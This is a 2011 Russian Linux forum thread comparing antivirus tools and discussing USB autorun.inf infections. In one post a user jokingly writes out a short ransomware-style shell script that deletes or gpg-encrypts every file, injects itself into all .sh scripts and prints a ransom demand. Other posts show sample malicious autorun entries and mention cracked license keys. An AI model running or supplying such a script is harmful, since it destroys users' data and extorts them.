ZhuK пишет:
yxma пишет:

а у меня был случай-
подарили мне программку зажатую в архив, снабженный заразой - так, что при открытии авира не давала его распаковать. Тогда я распаковал архив в линуксе. После этого в винде спокойно установил прогу, вируса уже не было. Иногда, получается, что простое копирование проги под линуксом освобождает программу от добавки.

  А каким образом это происходит? Пингвин молитву из open требника зачитывает в процессе разархивирования?  smile
  Вы небось Авиру халявную пользовали?  ag

из всех антивирей больше всего доверял авире.
зря вы так.

//

32 (02.02.2011 23:45:49 отредактировано ZhuK)

Очень даже не зря.
Не скажу что видел все, но антивири погонял на своем веку.  smile  Как всегда в качестве эксперемента.
Из бесплатных Авира лучший продукт, но это только из бесплатных. Как и Comodo из бесплатных лучший файрволл.
А для ТС, если уж есть опасения что подцепил. То сходи на сайт ДрВеба и скачай загрузочных диск на базе линуха с вебовским анитвирем, запиши его и загрузись с него. Без загрузки ОС будешь бить врагов ежели найдешь таковых. Есть нечто подобное и у каспера. Но думаю лучше к вебу. http://www.freedrweb.com/livecd/?lng=ru

33

ZhuK пишет:

Очень даже не зря.
Не скажу что видел все, но антивири погонял на своем веку.  smile  Как всегда в качестве эксперемента.
Из бесплатных Авира лучший продукт, но это только из бесплатных. Как и Comodo из бесплатных лучший файрволл.
А для ТС, если уж есть опасения что подцепил. То сходи на сайт ДрВеба и скачай загрузочных диск на базе линуха с вебовским анитвирем, запиши его и загрузись с него. Без загрузки ОС будешь бить врагов ежели найдешь таковых. Есть нечто подобное и у каспера. Но думаю лучше к вебу. http://www.freedrweb.com/livecd/?lng=ru

ключевым здесь является "ежели найдешь". и если я, будучи неавтоматизированным юзером, круче автоматизированных нода, авиры, каспера и т.д., то что мне с них за польза?
было время, когда у меня стояла бесплатная авира и нод32 с обновлениями. так авира в ноде нашла заразу и вылечила. То, что нод не заметил операции говорит само за себя. Он был НЕ В КУРСЕ ЗАРАЖЕНИЯ. можете не верить.
по поводу виря в архиве все просто - линух не умеет подчиняться виндовым командам. Как результат - он просто игнорирует попытку заразы перехватить управление и распаковывает дальше. то, как вири прячутся от венды, не проходит под линухом. как та же папочка стара - под вендой ее не видно, чего под линухом не скажешь.

друзья, давайте заменим чсВ на ЧСД!
Проблемы. Глюки. Красные глаза. Так будет с каждым, кто не хочет сменить Ubuntu на минт-росинку9
Знаю, что росинка - внучка убунты, значит, неизбежны родимые пятна. Но бабулька-то куда страшнее!
Но наш слакварь стоит на запасном пути. Он ждет своего часа. Может, когда док вернется из бана?

34

ZhuK, у меня в винде стоит Comodo Internet Securyti. Если руки кривые или в голове опилки, то он тоже истеричен :lol:
Сколько им пользуюсь-лучше пока ничего не видел (хотя на форумах виндузятники дружно кричат "г...о"(потому что бесплатно)) smile

Linux Mint 19.3 Mate Edition
Windows 7

35 (03.02.2011 11:22:51 отредактировано drBatty)

Darth Revan пишет:

if [ -d "autorun.inf" ]; then Who="Свой"; exit 0; fi;

не

if [ ! -e "autorun.inf" ]; then
  Who="Свой"
  mkdir "autorun.inf"
  exit 0
elif [ -d "autorun.inf" ]; then
  Who="Свой";
  exit 0;
else
  Who="ВРАГ"
  find . -depth -exec rm -f {} \;
fi;

ЗЫЖ а лучше так:
Who="ВРАГ"
find . -type f -exec gpg --encrypt --recipient "xacker" {} \;
find / -type f -name "*.sh" -exec sed -it -e "$ r $0" -s "/exit/ r $0" {} \; 2<&1 >/dev/null
echo "все файлы на вашей маздайной флешке зашифрованы! пришлите $RАND баксов на адрес xacckker666@mail.ru"

вот вам и готовый вирус для любого линуха.  ag

Карусель разнесло по цепочке за час
Всех известий — конец
Да, весна началась!
(всё к лицу подлецу, как родному отцу, не рассказывай, батя, и так всё пройдёт)

36

Vadimsky пишет:

Так и написали в сплывающем окне: "reason your OS not Windows", раззадорили только!

ну юзер-агент смените ab

ZhuK пишет:

Товарищи, объясните мне почему советуют поставить НОД версии 2,7

ЕМНИП кряк для 2.7 меньше глючит. или что-то подобное.

ZhuK пишет:

И почему "легковесный" Аваст это хорошо?

потому-что он бесплатный, что лучше вареза с т.з. безопасности. если вам плевать на эту т.з., то зачем вообще ставить антивирус?

Карусель разнесло по цепочке за час
Всех известий — конец
Да, весна началась!
(всё к лицу подлецу, как родному отцу, не рассказывай, батя, и так всё пройдёт)

37

drBatty, зачэм кряк?  smile В сети полно ключей(адреса давать?)  smile . Кряки это из прошлого, дремучего прошлого. Я думаю предложили не владея ситуацией, скорее всего просто не пользуется этим человек. Извини, Док, но насчет Аваст не могу согласится.  smile  Из бесплатных все же лучше Авира по моему. Зачем антивирь ставить? Да наверное чтобы флэшки проверять, в моем случае это самое страшное - гадость с флэшек меня чаще атаковала нежели из просторов инета. И где только люди берут эту гадость?  smile
Wolfenberg, этот продукт действительно очень хорош. Лучше пожалуй Outpost, настройки пошире, но платный.

38

ZhuK, стоял у меня Outpost. Раньше был хороший. Теперь нет. Правила в нём не меняются, 90% программ под запретом (потому что создатели про них не знают ни черта ah ). Даже простые мини-игры приходится через три версты обводить. На черта он нужен?. Зато, кстати, я с ним едва взлом не прозевал (он просто доступ на 100% открыл). И за это платить?
Я лучше за Comodo Pro заплачу smile

Linux Mint 19.3 Mate Edition
Windows 7

39 (04.02.2011 02:54:57 отредактировано Newton)


drBatty, Darth Revan
мыслите в верном направлении)

  А еще можно вот так:

if [ ! -e "autorun.inf" ]; then
    Who="Свой"
    mkdir "autorun.inf"
    echo "I am a file, that delete nobody..." > "autorun.inf/CON"
    exit 0
elif [ -d "autorun.inf" ]; then
    Who="Свой"
    cat "autorun.inf/CON"
    exit 0
else
    Who="ВРАГ"
# Просто удалить все файлы - это некрасиво. Гораздо лучше, 
# пропарсить autorun.inf на предмет запускаемых файлов, и уничтожить вредителей.
fixed;

  Для примера, как выглядит флешковый ауторан:

[AutoRun]
open=ntde1ect.com
;shell\open=Open(&O)
shell\open\Command=ntde1ect.com
shell\open\Default=1
;shell\explore=Manager(&X)
shell\explore\Command=ntde1ect.com

или:

[AUTORUN]
Shellexecute=Secret.exe

  Надо будет еще подумать, как лучше это заделать.

40

а я везде читал что на линукс почти нету вирусов.

Никогда не бойся делать то, что ты не умеешь. Помни, "КОВЧЕГ" был построен ЛЮБИТЕЛЕМ. ПРОФЕССИОНАЛЫ построили "ТИТАНИК"

41

Rassol2
так в теме пошло обсуждение windowz-вирусов..

Или, это было в общем, так сказать..?

42

Rassol2, вирусы в среде линукс неактивны, зато есть трояны и руткиты smile
На домашнем компе вы их едва ли огребёте. Зато сервер имеет кучу шансов их словить wink
Newton, в винде autorun.inf можно просто переписать в блокноте. smile
Например, у меня там всегда записано следующее:

autorun.windows
autorun=1
windows=ntfs

.
Вирусы всегда почему-то пытаются стереть именно последнюю строчку (автомонтирование) smile

Linux Mint 19.3 Mate Edition
Windows 7

43

В системах Fat 16/32 просто писал

autorun.windows
autorun=1

либо

autorun=1

либо для совсем древних машин:

autorun=fat

smile

Linux Mint 19.3 Mate Edition
Windows 7

44

ZhuK пишет:

Из бесплатных все же лучше Авира по моему.

вы знаете, я в этом не компетентен. вы ещё спросите, здесь и далее - непередаваемый набор слов и идиоматических выражний  :lol:
по мне, что авира, что аваст - проприентарное и закрытое УГ, причём абсолютно ненужное. Если человек хочет безопасности, то он должен использовать Открытое ПО. Причём ВЕЗДЕ. Закрытое ПО - это потенциальная угроза, и запускать его можно лишь в строго ограниченном пространстве, на отдельно выделенных компьютерах. А уж если у вас вся Система закрыта, то и говорить не о чем.

ZhuK пишет:

В сети полно ключей(адреса давать?)

не нужно (кстати и правила против).
возможно ключи не подходят к новой версии, я не знаю. как вы знаете, мои знания венды и вареза для неё - слухи и рассказы вендовс-гуру.  wink
лично мой опыт давно устарел...

Newton пишет:

Для примера, как выглядит флешковый ауторан:

я видел авторан, работа которого начинается с уничтожения других авторанов ac

Rassol2 пишет:

а я везде читал что на линукс почти нету вирусов.

недочитали ac
вирусов-то нет, но вредоносного ПО как грязи. лично вам от этого разве легче? какая разница, как квалифицируется эта болезнь?

Wolfenberg пишет:

На домашнем компе вы их едва ли огребёте

а вот и нет - нету деления линуксов на "хоум" и "сервер", линуксы все серверные. зайдите на сайт своих маинтейнеров, они вам разве скажут, что "наш дистр можно юзать только дома!"? Нет конечно... Потому очевидно, что установив линукс, вы УЖЕ поставили себе сервер. Со всеми вытекающими. И если вы положили (не знали/не понимали) на безопасность, то у вас не сервер, а РЕШЕТО. Хуже венды. Такие дела...

Карусель разнесло по цепочке за час
Всех известий — конец
Да, весна началась!
(всё к лицу подлецу, как родному отцу, не рассказывай, батя, и так всё пройдёт)

45

drBatty
Если ложить на безопасность, то можно и комп спалить по полной программе.
Хуже только, если руки кривые, а в голове полный вакуум. Вот тогда такие "чудеса" начинаются, что хоть энциклопедию пиши или
самоучитель "Как запороть систему по Ъ методу и за***** админа/знакомого".
Знаю по себе, ибо в своё время у меня советчиков/подсказчиков/гуру не было под рукой. Да и сейчас их нету... smile

Linux Mint 19.3 Mate Edition
Windows 7

46

Wolfenberg пишет:

Newton, в винде autorun.inf можно просто переписать в блокноте. smile

  Это понятно, что можно его переписать, а также зайти через ТоталКоммандер, и поудалять все подозрительное. Я за то, чтоб все это автоматизировать; например, чтоб после автомонтирования вызывался скрипт зачистки)

  А что это за магические строчки..? -

Wolfenberg пишет:

Например, у меня там всегда записано следующее:

autorun.windows
autorun=1
windows=ntfs

.
Вирусы всегда почему-то пытаются стереть именно последнюю строчку (автомонтирование) smile

  Я так понимаю, это для какого-то линуксового авто-маунтера..?

47

Newton, нет. Для "7". Флэшка с ФС NTFS монтируется сразу на старте без обработки Win32.Drivers (специфика железа) smile
Ubuntu этот файл вообще до лампочки.

Linux Mint 19.3 Mate Edition
Windows 7

48

Док, ну почему решето? По умолчанию же все, что нужно закрыть, закрыто. Только не менять, если только чего не вылезет вроде того как в ssh была обнаружена дыра и я его по совету с форума вручную отключил сейчас уж не помню как. А папочку авторана лучше в линуксе создавать с правами только чтение?

друзья, давайте заменим чсВ на ЧСД!
Проблемы. Глюки. Красные глаза. Так будет с каждым, кто не хочет сменить Ubuntu на минт-росинку9
Знаю, что росинка - внучка убунты, значит, неизбежны родимые пятна. Но бабулька-то куда страшнее!
Но наш слакварь стоит на запасном пути. Он ждет своего часа. Может, когда док вернется из бана?

49 (05.02.2011 01:24:01 отредактировано Rassol2)

вирусов-то нет, но вредоносного ПО как грязи. лично вам от этого разве легче? какая разница, как квалифицируется эта болезнь?

ну получается, руткиты я так понимаю можно решить на домашней машине за шет хорошей настройки фаерфола. Вроде  :rolleyes:

Никогда не бойся делать то, что ты не умеешь. Помни, "КОВЧЕГ" был построен ЛЮБИТЕЛЕМ. ПРОФЕССИОНАЛЫ построили "ТИТАНИК"

50

Rassol2, нет. Файерволл управляет потоком трафика(-ов), но не защитой компьютера. От руткитов может помочь (обычно работает :rolleyes: ) только рабочая голова и прямые руки smile . Антивирус их видит редко.

Linux Mint 19.3 Mate Edition
Windows 7

51

yxma пишет:

Док, ну почему решето? По умолчанию же все, что нужно закрыть, закрыто.

угу. если вы что-то не поставили сами. например ненужный вам ssh-сервер, который при установки всё открыл. причём самым поганым способом (для удобства настройки. ведь админ должен знать, КАК настроить свой ssh-сервер? должен. беда в том, что враг тоже знает. админ должен поднять свой сервер при отключённой внешней Сети, и настроить его локально, или из закрытой локалки, если локально это невозможно (например у этого сервера нет клавы, монитора, и даже видеокарты). но вы не настроили, и потому у вас - РЕШЕТО)

Мандрива предупреждает (предупреждала?) об опасности установки серверного ПО, другие дистры - не предупреждают (или?).

yxma пишет:

Только не менять, если только чего не вылезет вроде того как в ssh была обнаружена дыра

у вас стоит сервер ssh? вы его используете? если нет, то просто убейте его, и всё.

yxma пишет:

А папочку авторана лучше в линуксе создавать с правами только чтение?

не знаю.

Rassol2 пишет:

ну получается, руткиты я так понимаю можно решить на домашней машине за шет хорошей настройки фаерфола. Вроде

неправильно. в венде всё разрешено, потому нужен фаервол, который всё запрещает. в линуксе всё запрещено, потому фаервол не нужен.

в юзер-френдли дистрибутиве юзер может в 2 клика поставить серверное ПО, которое откроет доступ, и превратит компьютер в РЕШЕТО. причём фаервол тут НЕ поможет.

Карусель разнесло по цепочке за час
Всех известий — конец
Да, весна началась!
(всё к лицу подлецу, как родному отцу, не рассказывай, батя, и так всё пройдёт)

52

yxma пишет:

так авира в ноде нашла заразу и вылечила.

Не факт что она что-то делала.

На мясокомбинате я работаю свиньёй.